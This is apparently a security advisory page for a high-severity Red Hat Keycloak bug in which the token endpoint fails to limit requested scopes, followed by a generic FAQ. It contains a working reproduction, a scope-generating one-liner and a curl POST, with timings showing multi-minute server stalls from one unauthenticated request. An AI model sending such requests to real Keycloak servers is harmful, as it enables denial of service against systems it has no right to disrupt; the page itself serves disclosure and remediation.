REDHAT-BUG-2450250: High severity Red Hat Keycloak vulnerability
When receiving a POST request on the OpenID Connect token endpoint, Keycloak fails to limit the passed-in scopes, which leads to a high resource usage in Keycloak.
1. Generate a long list of scopes
SCOPE5K=$(python3 -c "print(' '.join(['scope'+str for i in range(5000)]))") echo "Scope parameter length: ${#SCOPE5K} bytes"
2. Post a ROPC Grant:
time curl -s -o /dev/null -w "admin-cli 5K scopes: HTTP %{httpcode} (%{timetotal}s)\n" \ -X POST "${KCURL}/realms/master/protocol/openid-connect/token" \ -d "granttype=password&clientid=admin-cli&username=x&password=x&scope=${SCOPE5K}"
Root cause: TokenManager.getRequestedClientScopes() at line 658 performs String.contains() on the entire scope parameter string for each default client scope, resulting in O(n²) processing time.
A single POST request with ~49KB of scope values causes 38.6 seconds of server-side processing; with ~99KB it reaches 151.8 seconds
The same problem occurs for client credential grants and token refreshes - in the case of token refreshes the problem occurs even before checking the token, so any token can be used, allowing any unauthenticated attacker to perform this.
Affected Software
Event History
Frequently Asked Questions
What is the severity of REDHAT-BUG-2450250?
The severity of REDHAT-BUG-2450250 is considered high due to its potential for causing excessive resource usage in Keycloak.
How do I fix REDHAT-BUG-2450250?
To fix REDHAT-BUG-2450250, update your Keycloak version to incorporate the latest patches addressing this issue.
What causes REDHAT-BUG-2450250?
REDHAT-BUG-2450250 is caused by Keycloak's inability to limit the number of scopes that can be sent in a POST request to the OpenID Connect token endpoint.
Who is affected by REDHAT-BUG-2450250?
All users of Red Hat Keycloak are affected by REDHAT-BUG-2450250, particularly those utilizing the OpenID Connect token endpoint.
What action should I take if I cannot update Keycloak for REDHAT-BUG-2450250?
If you cannot update Keycloak, you should implement request validation to limit the number of scopes in POST requests to mitigate the impact of REDHAT-BUG-2450250.